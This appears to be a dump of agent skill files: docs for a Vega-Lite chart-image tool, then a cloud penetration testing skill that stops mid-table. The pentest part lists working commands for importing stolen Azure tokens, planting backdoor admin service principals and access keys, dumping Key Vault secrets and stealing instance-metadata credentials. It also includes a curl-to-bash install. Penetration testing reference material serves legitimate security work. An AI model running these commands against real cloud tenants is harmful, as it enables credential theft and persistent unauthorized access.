'[{\"x\":\"React\",\"y\":45},{\"x\":\"Vue\",\"y\":28},{\"x\":\"Svelte\",\"y\":15},{\"x\":\"Angular\",\"y\":12}]' \\\n  --title \"Framework Usage %\" --output chart.png\n```\n\n![Bar chart](readme-assets/framed-bar.png)\n\n### 🌊 Area Chart\n\nLike line charts, but with filled regions to emphasize volume.\n\n```bash\nnode scripts/chart.mjs --type area \\\n  --data '[{\"x\":\"Jan\",\"y\":100},{\"x\":\"Feb\",\"y\":250},{\"x\":\"Mar\",\"y\":180},{\"x\":\"Apr\",\"y\":420},{\"x\":\"May\",\"y\":380},{\"x\":\"Jun\",\"y\":520}]' \\\n  --title \"Monthly Signups\" --dark --output chart.png\n```\n\n![Area chart](readme-assets/framed-area.png)\n\n### 🍩 Donut / Pie Chart\n\nShow proportions at a glance. Use `--type pie` for a solid circle or `--type donut` for the ring style.\n\n```bash\nnode scripts/chart.mjs --type donut \\\n  --data '[{\"x\":\"Desktop\",\"y\":58},{\"x\":\"Mobile\",\"y\":35},{\"x\":\"Tablet\",\"y\":7}]' \\\n  --title \"Traffic by Device\" --dark --output chart.png\n```\n\n![Donut chart](readme-assets/framed-donut.png)\n\n### 📉 Multi-Series Line\n\nCompare multiple trends on one chart using `--series-field`.\n\n```bash\nnode scripts/chart.mjs --type line \\\n  --data '[{\"x\":\"Q1\",\"y\":30,\"series\":\"2024\"},{\"x\":\"Q2\",\"y\":45,\"series\":\"2024\"},{\"x\":\"Q3\",\"y\":52,\"series\":\"2024\"},{\"x\":\"Q4\",\"y\":61,\"series\":\"2024\"},{\"x\":\"Q1\",\"y\":40,\"series\":\"2025\"},{\"x\":\"Q2\",\"y\":58,\"series\":\"2025\"},{\"x\":\"Q3\",\"y\":72,\"series\":\"2025\"}]' \\\n  --title \"Revenue Growth\" --y-title \"Revenue ($M)\" \\\n  --series-field series --dark --legend top --output chart.png\n```\n\n![Multi-series chart](readme-assets/framed-multi.png)\n\n### 📏 Horizontal Reference Lines\n\nAdd thresholds, targets, or buy prices with `--hline`.\n\n```bash\nnode scripts/chart.mjs --type line \\\n  --data '[{\"x\":\"Jan 1\",\"y\":0.00072},{\"x\":\"Jan 5\",\"y\":0.00085},{\"x\":\"Jan 10\",\"y\":0.00091},{\"x\":\"Jan 15\",\"y\":0.00078},{\"x\":\"Jan 20\",\"y\":0.00062},{\"x\":\"Jan 25\",\"y\":0.00071}]' \\\n  --title \"Token Price\" --y-title \"Price (USD)\" \\\n  --dark --show-values --hline \"0.0008,#e63946,Buy Price\" --output chart.png\n```\n\n![Reference line chart](readme-assets/framed-hline.png)\n\n### 🎨 Conditional Colors\n\nColor bars/points based on a threshold — great for KPI dashboards.\n\n```bash\nnode scripts/chart.mjs --type bar \\\n  --data '[{\"month\":\"Jan\",\"score\":72},{\"month\":\"Feb\",\"score\":45},{\"month\":\"Mar\",\"score\":38},{\"month\":\"Apr\",\"score\":61},{\"month\":\"May\",\"score\":29},{\"month\":\"Jun\",\"score\":55},{\"month\":\"Jul\",\"score\":82},{\"month\":\"Aug\",\"score\":47},{\"month\":\"Sep\",\"score\":68},{\"month\":\"Oct\",\"score\":34},{\"month\":\"Nov\",\"score\":76},{\"month\":\"Dec\",\"score\":91}]' \\\n  --x-field month --y-field score --x-sort none \\\n  --conditional-color \"50,#e63946,#2a9d8f\" --hline \"50,#888,Target\" \\\n  --title \"Monthly Performance Score\" --subtitle \"Target: 50\" --dark\n```\n\n![Conditional color chart](readme-assets/framed-conditional.png)\n\n### ↔️ Horizontal Bar Charts\n\nFlip axes for leaderboards, rankings, or long category names.\n\n```bash\nnode scripts/chart.mjs --type bar \\\n  --data '[{\"lang\":\"Python\",\"stars\":95},{\"lang\":\"JavaScript\",\"stars\":82},{\"lang\":\"TypeScript\",\"stars\":78},{\"lang\":\"Rust\",\"stars\":71},{\"lang\":\"Go\",\"stars\":63},{\"lang\":\"Java\",\"stars\":58},{\"lang\":\"C++\",\"stars\":45},{\"lang\":\"Swift\",\"stars\":38}]' \\\n  --x-field lang --y-field stars --horizontal --sort desc \\\n  --conditional-color \"60,#e63946,#2a9d8f\" --bar-labels \\\n  --title \"GitHub Stars by Language\" --dark\n```\n\n![Horizontal bar chart](readme-assets/framed-horizontal-bar.png)\n\n### More Chart Types\n\n- **`point`** — Scatter plot\n- **`candlestick`** — OHLC financial charts (`--open-field`, `--high-field`, `--low-field`, `--close-field`)\n- **`heatmap`** — Grid visualization (`--color-value-field`, `--color-scheme viridis`)\n- **Stacked bars** — `--type bar --stacked --color-field category`\n- **Volume overlay** — Dual Y-axis with `--volume-field`\n- **Sparkline** — Tiny inline charts with `--sparkline` (80×20, no axes)\n\n---\n\n## Shorthand Syntax\n\nDon't want to write JSON? Use the shorthand format:\n\n```bash\nnode scripts/chart.mjs --type bar \\\n  --data \"Mon:10,Tue:25,Wed:18,Thu:30,Fri:22,Sat:35,Sun:28\" \\\n  --title \"Weekly Activity\" --dark --output chart.png\n```\n\n![Shorthand example](readme-assets/framed-shorthand.png)\n\nFormat: `label:value,label:value,...`\n\n---\n\n## Dark Mode & Light Mode\n\nUse `--dark` for dark backgrounds (great for Discord, Slack, dark dashboards):\n\n![Dark mode](readme-assets/framed-horizontal.png)\n\nOmit `--dark` for light mode (reports, emails, light UIs):\n\n![Light mode](readme-assets/framed-bar.png)\n\n**Tip for bots:** Auto-switch based on time of day — `--dark` between 20:00–07:00.\n\n---\n\n## Alert-Style Charts\n\nBuilt-in options for monitoring and alerting use cases:\n\n```bash\nnode scripts/chart.mjs --type line --data '[...]' \\\n  --title \"Iran Strike Odds (48h)\" \\\n  --show-change --focus-change --show-values --dark \\\n  --output alert.png\n```\n\n| Flag | Effect |\n|------|--------|\n| `--show-change` | Annotates % change from first to last value |\n| `--focus-change` | Zooms Y-axis to 2× data range for drama |\n| `--focus-recent N` | Shows only the last N data points |\n| `--show-values` | Labels min/max peaks on the chart |\n\n---\n\n## Piping Data\n\nRead from stdin:\n\n```bash\ncurl -s api.example.com/metrics | node scripts/chart.mjs --type line --dark --output metrics.png\necho '[{\"x\":\"A\",\"y\":1},{\"x\":\"B\",\"y\":2}]' | node scripts/chart.mjs --output out.png\n```\n\n---\n\n## Options Reference\n\n### Core\n| Option | Description | Default |\n|--------|-------------|---------|\n| `--type` | `line`, `bar`, `area`, `point`, `pie`, `donut`, `candlestick`, `heatmap` | `line` |\n| `--data` | JSON array or shorthand `key:val,...` | stdin |\n| `--output` | Output file path | `chart.png` |\n| `--title` | Chart title | — |\n| `--subtitle` | Subtitle below title | — |\n| `--width` | Width in px | `600` |\n| `--height` | Height in px | `300` |\n| `--dark` | Dark theme | `false` |\n| `--svg` | Output SVG instead of PNG | `false` |\n\n### Axes\n| Option | Description | Default |\n|--------|-------------|---------|\n| `--x-field` | X axis field name | `x` |\n| `--y-field` | Y axis field name | `y` |\n| `--x-title` / `--y-title` | Axis labels | field name |\n| `--x-type` | `ordinal`, `temporal`, `quantitative` | `ordinal` |\n| `--y-domain` | Y range as `\"min,max\"` | auto |\n| `--y-format` | `percent`, `dollar`, `compact`, `decimal4`, `integer`, `scientific` | auto |\n\n### Styling\n| Option | Description | Default |\n|--------|-------------|---------|\n| `--color` | Primary color | `#e63946` |\n| `--color-scheme` | Vega scheme (e.g. `viridis`, `category10`) | — |\n| `--no-grid` | Remove gridlines | `false` |\n| `--legend` | `top`, `bottom`, `left`, `right`, `none` | — |\n| `--hline` | Reference line: `\"value,color,label\"` (repeatable) | — |\n\n### Multi-Series\n| Option | Description |\n|--------|-------------|\n| `--series-field` | Field to split into multiple lines |\n| `--stacked` | Stack bars/areas |\n| `--color-field` | Field for color encoding |\n\n### Annotations\n| Option | Description |\n|--------|-------------|\n| `--show-change` | Show % change annotation |\n| `--focus-change` | Zoom Y to highlight change |\n| `--focus-recent N` | Show last N points only |\n| `--show-values` | Label min/max peaks |\n| `--annotations` | JSON array of event markers: `[{\"x\":\"14:00\",\"label\":\"News\"}]` |\n\n---\n\n## Y-Axis Formatting\n\n```bash\n--y-format dollar    # → $1,234.56\n--y-format percent   # → 45.2%\n--y-format compact   # → 1.2K, 3.4M\n--y-format decimal4  # → 0.0004\n--y-format integer   # → 1,234\n```\n\nOr pass any [d3-format](https://github.com/d3/d3-format) string: `--y-format ',.3f'`\n\n---\n\n## Designed for Fly.io / VPS / Docker\n\nThis skill was built specifically for headless server environments where you can't (or don't want to) install a browser:\n\n- **Fly.io** — Works out of the box on `flyctl deploy`. No special Dockerfile needed.\n- **Docker** — No `apt-get install` for Cairo/Pango/etc. Just `npm install`.\n- **VPS** — Runs on any machine with Node.js 18+. No GPU, no display server.\n- **CI/CD** — Generate charts in GitHub Actions, GitLab CI, etc.\n\nThe secret: [Vega-Lite](https://vega.github.io/vega-lite/) renders to SVG natively, then [Sharp](https://sharp.pixelplumbing.com/) (with prebuilt libvips binaries) converts to PNG. No browser in the loop.\n\n---\n\n## License\n\nMIT\n\n---\n\n<p align=\"center\">\n  <sub>Built by <a href=\"https://clawhub.ai/u/Cluka-399\">@Cluka-399</a> · Published on <a href=\"https://clawhub.ai\">ClawHub</a> · <a href=\"https://github.com/Cluka-399/chart-image\">GitHub</a></sub>\n</p>\n","skills/chart-image/SKILL.md":"---\nname: chart-image\nversion: 2.5.1\ndescription: \"Generate publication-quality PNG chart images from data, supporting line, bar, area, candlestick, pie, and heatmap charts. Triggers when the user asks to visualize data, create a graph, plot a time series, or generate a chart for a report, alert, or dashboard. Runs as a lightweight, headless Node.js process without a browser.\"\n---\n\n# Chart Image Generator\n\nGenerate PNG chart images from data using Vega-Lite. Perfect for headless server environments.\n\n## Why This Skill?\n\n**Built for Fly.io / VPS / Docker deployments:**\n- ✅ **No native compilation** - Uses Sharp with prebuilt binaries (unlike `canvas` which requires build tools)\n- ✅ **No Puppeteer/browser** - Pure Node.js, no Chrome download, no headless browser overhead\n- ✅ **Lightweight** - ~15MB total dependencies vs 400MB+ for Puppeteer-based solutions\n- ✅ **Fast cold starts** - No browser spinup delay, generates charts in <500ms\n- ✅ **Works offline** - No external API calls (unlike QuickChart.io)\n\n## Setup (one-time)\n\n```bash\ncd \"${CLAUDE_SKILL_DIR}/scripts\" && npm install\n```\n\n## Quick Usage\n\n```bash\nnode \"${CLAUDE_SKILL_DIR}/scripts/chart.mjs\" \\\n  --type line \\\n  --data '[{\"x\":\"10:00\",\"y\":25},{\"x\":\"10:30\",\"y\":27},{\"x\":\"11:00\",\"y\":31}]' \\\n  --title \"Price Over Time\" \\\n  --output chart.png\n```\n\nThe examples below shorten the script path to `chart.mjs`.\n\n## Chart Types\n\n### Line Chart (default)\n```bash\nnode chart.mjs --type line --data '[{\"x\":\"A\",\"y\":10},{\"x\":\"B\",\"y\":15}]' --output line.png\n```\n\n### Bar Chart\n```bash\nnode chart.mjs --type bar --data '[{\"x\":\"A\",\"y\":10},{\"x\":\"B\",\"y\":15}]' --output bar.png\n```\n\n### Area Chart\n```bash\nnode chart.mjs --type area --data '[{\"x\":\"A\",\"y\":10},{\"x\":\"B\",\"y\":15}]' --output area.png\n```\n\n### Pie / Donut Chart\n```bash\n# Pie\nnode chart.mjs --type pie --data '[{\"category\":\"A\",\"value\":30},{\"category\":\"B\",\"value\":70}]' \\\n  --category-field category --y-field value --output pie.png\n\n# Donut (with hole)\nnode chart.mjs --type donut --data '[{\"category\":\"A\",\"value\":30},{\"category\":\"B\",\"value\":70}]' \\\n  --category-field category --y-field value --output donut.png\n```\n\n### Candlestick Chart (OHLC)\n```bash\nnode chart.mjs --type candlestick \\\n  --data '[{\"x\":\"Mon\",\"open\":100,\"high\":110,\"low\":95,\"close\":105}]' \\\n  --open-field open --high-field high --low-field low --close-field close \\\n  --title \"Stock Price\" --output candle.png\n```\n\n### Heatmap\n```bash\nnode chart.mjs --type heatmap \\\n  --data '[{\"x\":\"Mon\",\"y\":\"Week1\",\"value\":5},{\"x\":\"Tue\",\"y\":\"Week1\",\"value\":8}]' \\\n  --color-value-field value --color-scheme viridis \\\n  --title \"Activity Heatmap\" --output heatmap.png\n```\n\n### Multi-Series Line Chart\nCompare multiple trends on one chart:\n```bash\nnode chart.mjs --type line --series-field \"market\" \\\n  --data '[{\"x\":\"Jan\",\"y\":10,\"market\":\"A\"},{\"x\":\"Jan\",\"y\":15,\"market\":\"B\"}]' \\\n  --title \"Comparison\" --output multi.png\n```\n\n### Stacked Bar Chart\n```bash\nnode chart.mjs --type bar --stacked --color-field \"category\" \\\n  --data '[{\"x\":\"Mon\",\"y\":10,\"category\":\"Work\"},{\"x\":\"Mon\",\"y\":5,\"category\":\"Personal\"}]' \\\n  --title \"Hours by Category\" --output stacked.png\n```\n\n### Volume Overlay (Dual Y-axis)\nPrice line with volume bars:\n```bash\nnode chart.mjs --type line --volume-field volume \\\n  --data '[{\"x\":\"10:00\",\"y\":100,\"volume\":5000},{\"x\":\"11:00\",\"y\":105,\"volume\":3000}]' \\\n  --title \"Price + Volume\" --output volume.png\n```\n\n### Sparkline (mini inline chart)\n```bash\nnode chart.mjs --sparkline --data '[{\"x\":\"1\",\"y\":10},{\"x\":\"2\",\"y\":15}]' --output spark.png\n```\nSparklines are 80x20 by default, transparent, no axes.\n\n## Options Reference\n\n### Basic Options\n| Option | Description | Default |\n|--------|-------------|---------|\n| `--type` | Chart type: line, bar, area, point, pie, donut, candlestick, heatmap | line |\n| `--data` | JSON array of data points | - |\n| `--output` | Output file path | chart.png |\n| `--title` | Chart title | - |\n| `--width` | Width in pixels | 600 |\n| `--height` | Height in pixels | 300 |\n\n### Axis Options\n| Option | Description | Default |\n|--------|-------------|---------|\n| `--x-field` | Field name for X axis | x |\n| `--y-field` | Field name for Y axis | y |\n| `--x-title` | X axis label | field name |\n| `--y-title` | Y axis label | field name |\n| `--x-type` | X axis type: ordinal, temporal, quantitative | ordinal |\n| `--y-domain` | Y scale as \"min,max\" | auto |\n\n### Visual Options\n| Option | Description | Default |\n|--------|-------------|---------|\n| `--color` | Line/bar color | #e63946 |\n| `--dark` | Dark mode theme | false |\n| `--svg` | Output SVG instead of PNG | false |\n| `--color-scheme` | Vega color scheme (category10, viridis, etc.) | - |\n\n### Alert/Monitor Options\n| Option | Description | Default |\n|--------|-------------|---------|\n| `--show-change` | Show +/-% change annotation at last point | false |\n| `--focus-change` | Zoom Y-axis to 2x data range | false |\n| `--focus-recent N` | Show only last N data points | all |\n| `--show-values` | Label min/max peak points | false |\n\n### Multi-Series/Stacked Options\n| Option | Description | Default |\n|--------|-------------|---------|\n| `--series-field` | Field for multi-series line charts | - |\n| `--stacked` | Enable stacked bar mode | false |\n| `--color-field` | Field for stack/color categories | - |\n\n### Candlestick Options\n| Option | Description | Default |\n|--------|-------------|---------|\n| `--open-field` | OHLC open field | open |\n| `--high-field` | OHLC high field | high |\n| `--low-field` | OHLC low field | low |\n| `--close-field` | OHLC close field | close |\n\n### Pie/Donut Options\n| Option | Description | Default |\n|--------|-------------|---------|\n| `--category-field` | Field for pie slice categories | x |\n| `--donut` | Render as donut (with center hole) | false |\n\n### Heatmap Options\n| Option | Description | Default |\n|--------|-------------|---------|\n| `--color-value-field` | Field for heatmap intensity | value |\n| `--y-category-field` | Y axis category field | y |\n\n### Dual-Axis Options (General)\n| Option | Description | Default |\n|--------|-------------|---------|\n| `--y2-field` | Second Y axis field (independent right axis) | - |\n| `--y2-title` | Title for second Y axis | field name |\n| `--y2-color` | Color for second series | #60a5fa (dark) / #2563eb (light) |\n| `--y2-type` | Chart type for second axis: line, bar, area | line |\n\n**Example:** Revenue bars (left) + Churn area (right):\n```bash\nnode chart.mjs \\\n  --data '[{\"month\":\"Jan\",\"revenue\":12000,\"churn\":4.2},...]' \\\n  --x-field month --y-field revenue --type bar \\\n  --y2-field churn --y2-type area --y2-color \"#60a5fa\" \\\n  --y-title \"Revenue ($)\" --y2-title \"Churn (%)\" \\\n  --x-sort none --dark --title \"Revenue vs Churn\"\n```\n\n### Volume Overlay Options (Candlestick)\n| Option | Description | Default |\n|--------|-------------|---------|\n| `--volume-field` | Field for volume bars (enables dual-axis) | - |\n| `--volume-color` | Color for volume bars | #4a5568 |\n\n### Formatting Options\n| Option | Description | Default |\n|--------|-------------|---------|\n| `--y-format` | Y axis format: percent, dollar, compact, decimal4, integer, scientific, or d3-format string | auto |\n| `--subtitle` | Subtitle text below chart title | - |\n| `--hline` | Horizontal reference line: \"value\" or \"value,color\" or \"value,color,label\" (repeatable) | - |\n\n### Annotation Options\n| Option | Description | Default |\n|--------|-------------|---------|\n| `--annotation` | Static text annotation | - |\n| `--annotations` | JSON array of event markers | - |\n\n## Alert-Style Chart (recommended for monitors)\n\n```bash\nnode chart.mjs --type line --data '[...]' \\\n  --title \"Iran Strike Odds (48h)\" \\\n  --show-change --focus-change --show-values --dark \\\n  --output alert.png\n```\n\nFor recent action only:\n```bash\nnode chart.mjs --type line --data '[hourly data...]' \\\n  --focus-recent 4 --show-change --focus-change --dark \\\n  --output recent.png\n```\n\n## Timeline Annotations\n\nMark events on the chart:\n```bash\nnode chart.mjs --type line --data '[...]' \\\n  --annotations '[{\"x\":\"14:00\",\"label\":\"News broke\"},{\"x\":\"16:30\",\"label\":\"Press conf\"}]' \\\n  --output annotated.png\n```\n\n## Temporal X-Axis\n\nFor proper time series with date gaps:\n```bash\nnode chart.mjs --type line --x-type temporal \\\n  --data '[{\"x\":\"2026-01-01\",\"y\":10},{\"x\":\"2026-01-15\",\"y\":20}]' \\\n  --output temporal.png\n```\n\nUse `--x-type temporal` when X values are ISO dates and you want spacing to reflect actual time gaps (not evenly spaced).\n\n## Y-Axis Formatting\n\nFormat axis values for readability:\n```bash\n# Dollar amounts\nnode chart.mjs --data '[...]' --y-format dollar --output revenue.png\n# → $1,234.56\n\n# Percentages (values as decimals 0-1)\nnode chart.mjs --data '[...]' --y-format percent --output rates.png\n# → 45.2%\n\n# Compact large numbers\nnode chart.mjs --data '[...]' --y-format compact --output users.png\n# → 1.2K, 3.4M\n\n# Crypto prices (4 decimal places)\nnode chart.mjs --data '[...]' --y-format decimal4 --output molt.png\n# → 0.0004\n\n# Custom d3-format string\nnode chart.mjs --data '[...]' --y-format ',.3f' --output custom.png\n```\n\nAvailable shortcuts: `percent`, `dollar`/`usd`, `compact`, `integer`, `decimal2`, `decimal4`, `scientific`\n\n## Chart Subtitle\n\nAdd context below the title:\n```bash\nnode chart.mjs --title \"MOLT Price\" --subtitle \"20,668 MOLT held\" --data '[...]' --output molt.png\n```\n\n## Theme Selection\n\nUse `--dark` for dark mode. Auto-select based on time:\n- **Night (20:00-07:00 local)**: `--dark`\n- **Day (07:00-20:00 local)**: light mode (default)\n\n## Piping Data\n\n```bash\necho '[{\"x\":\"A\",\"y\":1},{\"x\":\"B\",\"y\":2}]' | node chart.mjs --output out.png\n```\n\n## Custom Vega-Lite Spec\n\nFor advanced charts:\n```bash\nnode chart.mjs --spec my-spec.json --output custom.png\n```\n\n## Deliver the Image\n\nAfter generating a chart, save the PNG in the user's project (not `/tmp/`, which may get cleaned) and tell the user the file path.\nDon't just describe the chart — the whole point is the visual.\n\n```bash\nnode \"${CLAUDE_SKILL_DIR}/scripts/chart.mjs\" --type line --data '...' --output ./my-chart.png\n```\n\n**Tips:**\n- Include a brief caption saying what the chart shows\n- Use `--dark` at night or for dark-themed destinations (see Theme Selection)\n\n---\n*Updated: 2026-02-04 - Added --y-format (percent/dollar/compact/decimal4) and --subtitle*\n","skills/chart-image/scripts/package.json":"{\n  \"name\": \"chart-image-scripts\",\n  \"type\": \"module\",\n  \"dependencies\": {\n    \"vega\": \"^5.30.0\",\n    \"vega-lite\": \"^5.21.0\",\n    \"sharp\": \"^0.33.0\"\n  }\n}\n","skills/cloud-penetration-testing/SKILL.md":"---\nname: cloud-penetration-testing\ndescription: This skill should be used when the user asks to \"perform cloud penetration testing\", \"assess Azure or AWS or GCP security\", \"enumerate cloud resources\", \"exploit cloud misconfigurations\", \"test O365 security\", \"extract secrets from cloud environments\", or \"audit cloud infrastructure\". It provides comprehensive techniques for security assessment across major cloud platforms.\nmetadata:\n  author: zebbern\n  version: \"1.1\"\n---\n\n# Cloud Penetration Testing\n\n## Purpose\n\nConduct comprehensive security assessments of cloud infrastructure across Microsoft Azure, Amazon Web Services (AWS), and Google Cloud Platform (GCP). This skill covers reconnaissance, authentication testing, resource enumeration, privilege escalation, data extraction, and persistence techniques for authorized cloud security engagements.\n\n## Prerequisites\n\n### Required Tools\n```bash\n# Azure tools\nInstall-Module -Name Az -AllowClobber -Force\nInstall-Module -Name MSOnline -Force\nInstall-Module -Name AzureAD -Force\n\n# AWS CLI\ncurl \"https://awscli.amazonaws.com/awscli-exe-linux-x86_64.zip\" -o \"awscliv2.zip\"\nunzip awscliv2.zip && sudo ./aws/install\n\n# GCP CLI\ncurl https://sdk.cloud.google.com | bash\ngcloud init\n\n# Additional tools\npip install scoutsuite pacu\n```\n\n### Required Knowledge\n- Cloud architecture fundamentals\n- Identity and Access Management (IAM)\n- API authentication mechanisms\n- DevOps and automation concepts\n\n### Required Access\n- Written authorization for testing\n- Test credentials or access tokens\n- Defined scope and rules of engagement\n\n## Outputs and Deliverables\n\n1. **Cloud Security Assessment Report** - Comprehensive findings and risk ratings\n2. **Resource Inventory** - Enumerated services, storage, and compute instances\n3. **Credential Findings** - Exposed secrets, keys, and misconfigurations\n4. **Remediation Recommendations** - Hardening guidance per platform\n\n## Core Workflow\n\n### Phase 1: Reconnaissance\n\nGather initial information about target cloud presence:\n\n```bash\n# Azure: Get federation info\ncurl \"https://login.microsoftonline.com/getuserrealm.srf?login=user@target.com&xml=1\"\n\n# Azure: Get Tenant ID\ncurl \"https://login.microsoftonline.com/target.com/v2.0/.well-known/openid-configuration\"\n\n# Enumerate cloud resources by company name\npython3 cloud_enum.py -k targetcompany\n\n# Check IP against cloud providers\ncat ips.txt | python3 ip2provider.py\n```\n\n### Phase 2: Azure Authentication\n\nAuthenticate to Azure environments:\n\n```powershell\n# Az PowerShell Module\nImport-Module Az\nConnect-AzAccount\n\n# With credentials (may bypass MFA)\n$credential = Get-Credential\nConnect-AzAccount -Credential $credential\n\n# Import stolen context\nImport-AzContext -Profile 'C:\\Temp\\StolenToken.json'\n\n# Export context for persistence\nSave-AzContext -Path C:\\Temp\\AzureAccessToken.json\n\n# MSOnline Module\nImport-Module MSOnline\nConnect-MsolService\n```\n\n### Phase 3: Azure Enumeration\n\nDiscover Azure resources and permissions:\n\n```powershell\n# List contexts and subscriptions\nGet-AzContext -ListAvailable\nGet-AzSubscription\n\n# Current user role assignments\nGet-AzRoleAssignment\n\n# List resources\nGet-AzResource\nGet-AzResourceGroup\n\n# Storage accounts\nGet-AzStorageAccount\n\n# Web applications\nGet-AzWebApp\n\n# SQL Servers and databases\nGet-AzSQLServer\nGet-AzSqlDatabase -ServerName $Server -ResourceGroupName $RG\n\n# Virtual machines\nGet-AzVM\n$vm = Get-AzVM -Name \"VMName\"\n$vm.OSProfile\n\n# List all users\nGet-MSolUser -All\n\n# List all groups\nGet-MSolGroup -All\n\n# Global Admins\nGet-MsolRole -RoleName \"Company Administrator\"\nGet-MSolGroupMember -GroupObjectId $GUID\n\n# Service Principals\nGet-MsolServicePrincipal\n```\n\n### Phase 4: Azure Exploitation\n\nExploit Azure misconfigurations:\n\n```powershell\n# Search user attributes for passwords\n$users = Get-MsolUser -All\nforeach($user in $users){\n    $props = @()\n    $user | Get-Member | foreach-object{$props+=$_.Name}\n    foreach($prop in $props){\n        if($user.$prop -like \"*password*\"){\n            Write-Output (\"[*]\" + $user.UserPrincipalName + \"[\" + $prop + \"]\" + \" : \" + $user.$prop)\n        }\n    }\n}\n\n# Execute commands on VMs\nInvoke-AzVMRunCommand -ResourceGroupName $RG -VMName $VM -CommandId RunPowerShellScript -ScriptPath ./script.ps1\n\n# Extract VM UserData\n$vms = Get-AzVM\n$vms.UserData\n\n# Dump Key Vault secrets\naz keyvault list --query '[].name' --output tsv\naz keyvault set-policy --name <vault> --upn <user> --secret-permissions get list\naz keyvault secret list --vault-name <vault> --query '[].id' --output tsv\naz keyvault secret show --id <URI>\n```\n\n### Phase 5: Azure Persistence\n\nEstablish persistence in Azure:\n\n```powershell\n# Create backdoor service principal\n$spn = New-AzAdServicePrincipal -DisplayName \"WebService\" -Role Owner\n$BSTR = [System.Runtime.InteropServices.Marshal]::SecureStringToBSTR($spn.Secret)\n$UnsecureSecret = [System.Runtime.InteropServices.Marshal]::PtrToStringAuto($BSTR)\n\n# Add service principal to Global Admin\n$sp = Get-MsolServicePrincipal -AppPrincipalId <AppID>\n$role = Get-MsolRole -RoleName \"Company Administrator\"\nAdd-MsolRoleMember -RoleObjectId $role.ObjectId -RoleMemberType ServicePrincipal -RoleMemberObjectId $sp.ObjectId\n\n# Login as service principal\n$cred = Get-Credential  # AppID as username, secret as password\nConnect-AzAccount -Credential $cred -Tenant \"tenant-id\" -ServicePrincipal\n\n# Create new admin user via CLI\naz ad user create --display-name <name> --password <pass> --user-principal-name <upn>\n```\n\n### Phase 6: AWS Authentication\n\nAuthenticate to AWS environments:\n\n```bash\n# Configure AWS CLI\naws configure\n# Enter: Access Key ID, Secret Access Key, Region, Output format\n\n# Use specific profile\naws configure --profile target\n\n# Test credentials\naws sts get-caller-identity\n```\n\n### Phase 7: AWS Enumeration\n\nDiscover AWS resources:\n\n```bash\n# Account information\naws sts get-caller-identity\naws iam list-users\naws iam list-roles\n\n# S3 Buckets\naws s3 ls\naws s3 ls s3://bucket-name/\naws s3 sync s3://bucket-name ./local-dir\n\n# EC2 Instances\naws ec2 describe-instances\n\n# RDS Databases\naws rds describe-db-instances --region us-east-1\n\n# Lambda Functions\naws lambda list-functions --region us-east-1\naws lambda get-function --function-name <name>\n\n# EKS Clusters\naws eks list-clusters --region us-east-1\n\n# Networking\naws ec2 describe-subnets\naws ec2 describe-security-groups --group-ids <sg-id>\naws directconnect describe-connections\n```\n\n### Phase 8: AWS Exploitation\n\nExploit AWS misconfigurations:\n\n```bash\n# Check for public RDS snapshots\naws rds describe-db-snapshots --snapshot-type manual --query=DBSnapshots[*].DBSnapshotIdentifier\naws rds describe-db-snapshot-attributes --db-snapshot-identifier <id>\n# AttributeValues = \"all\" means publicly accessible\n\n# Extract Lambda environment variables (may contain secrets)\naws lambda get-function --function-name <name> | jq '.Configuration.Environment'\n\n# Access metadata service (from compromised EC2)\ncurl http://169.254.169.254/latest/meta-data/\ncurl http://169.254.169.254/latest/meta-data/iam/security-credentials/\n\n# IMDSv2 access\nTOKEN=$(curl -X PUT \"http://169.254.169.254/latest/api/token\" -H \"X-aws-ec2-metadata-token-ttl-seconds: 21600\")\ncurl http://169.254.169.254/latest/meta-data/profile -H \"X-aws-ec2-metadata-token: $TOKEN\"\n```\n\n### Phase 9: AWS Persistence\n\nEstablish persistence in AWS:\n\n```bash\n# List existing access keys\naws iam list-access-keys --user-name <username>\n\n# Create backdoor access key\naws iam create-access-key --user-name <username>\n\n# Get all EC2 public IPs\nfor region in $(cat regions.txt); do\n    aws ec2 describe-instances --query=Reservations[].Instances[].PublicIpAddress --region $region | jq -r '.[]'\ndone\n```\n\n### Phase 10: GCP Enumeration\n\nDiscover GCP resources:\n\n```bash\n# Authentication\ngcloud auth login\ngcloud auth activate-service-account --key-file creds.json\ngcloud auth list\n\n# Account information\ngcloud config list\ngcloud organizations list\ngcloud projects list\n\n# IAM Policies\ngcloud organizations get-iam-policy <org-id>\ngcloud projects get-iam-policy <project-id>\n\n# Enabled services\ngcloud services list\n\n# Source code repos\ngcloud source repos list\ngcloud source repos clone <repo>\n\n# Compute instances\ngcloud compute instances list\ngcloud beta compute ssh --zone \"region\" \"instance\" --project \"project\"\n\n# Storage buckets\ngsutil ls\ngsutil ls -r gs://bucket-name\ngsutil cp gs://bucket/file ./local\n\n# SQL instances\ngcloud sql instances list\ngcloud sql databases list --instance <id>\n\n# Kubernetes\ngcloud container clusters list\ngcloud container clusters get-credentials <cluster> --region <region>\nkubectl cluster-info\n```\n\n### Phase 11: GCP Exploitation\n\nExploit GCP misconfigurations:\n\n```bash\n# Get metadata service data\ncurl \"http://metadata.google.internal/computeMetadata/v1/?recursive=true&alt=text\" -H \"Metadata-Flavor: Google\"\n\n# Check access scopes\ncurl http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/scopes -H 'Metadata-Flavor:Google'\n\n# Decrypt data with keyring\ngcloud kms decrypt --ciphertext-file=encrypted.enc --plaintext-file=out.txt --key <key> --keyring <keyring> --location global\n\n# Serverless function analysis\ngcloud functions list\ngcloud functions describe <name>\ngcloud functions logs read <name> --limit 100\n\n# Find stored credentials\nsudo find /home -name \"credentials.db\"\nsudo cp -r /home/user/.config/gcloud ~/.config\ngcloud auth list\n```\n\n## Quick Reference\n\n### Azure Key Commands\n\n| Action | Command |\n|--------|---------|\n| Login | `Connect-AzAccount` |\n| List subscriptions | `Get-AzSubscription` |\n| List users | `Get-MsolUser -All` |\n| List groups | `Get-MsolGroup -All` |\n| Current roles | `Get-AzRoleAssignment` |\n| List VMs | `Get-AzVM` |\n| List storage | `Get-AzStorageAccount` |\n| Key Vault secrets | `az keyvault secret list --vault-name <name>` |\n\n### AWS Key Commands\n\n| Action | Command |\n|--------|---------|\n| Configure | `aws configure` |\n| Caller identity | `aws sts get-caller-identity` |\n| List users | `aws iam list-users` |\n| List S3 buckets | `aws s3 ls` |\n| List EC2 | `aws ec2 describe-instances` |\n| List Lambda | `aws lambda list-functions` |\n| Metadata | `curl http://169.254.169.254/latest/meta-data/` |\n\n### GCP Key Commands\n\n| Action | Command |\n|--------|---------|\n| Login | `gcloud auth login` |\n| List projects | `gcloud projects list` |\n| List instances | `gcloud compute instances list` |\n| List buckets | `gsutil ls` |\n| List clusters | `gcloud container clusters 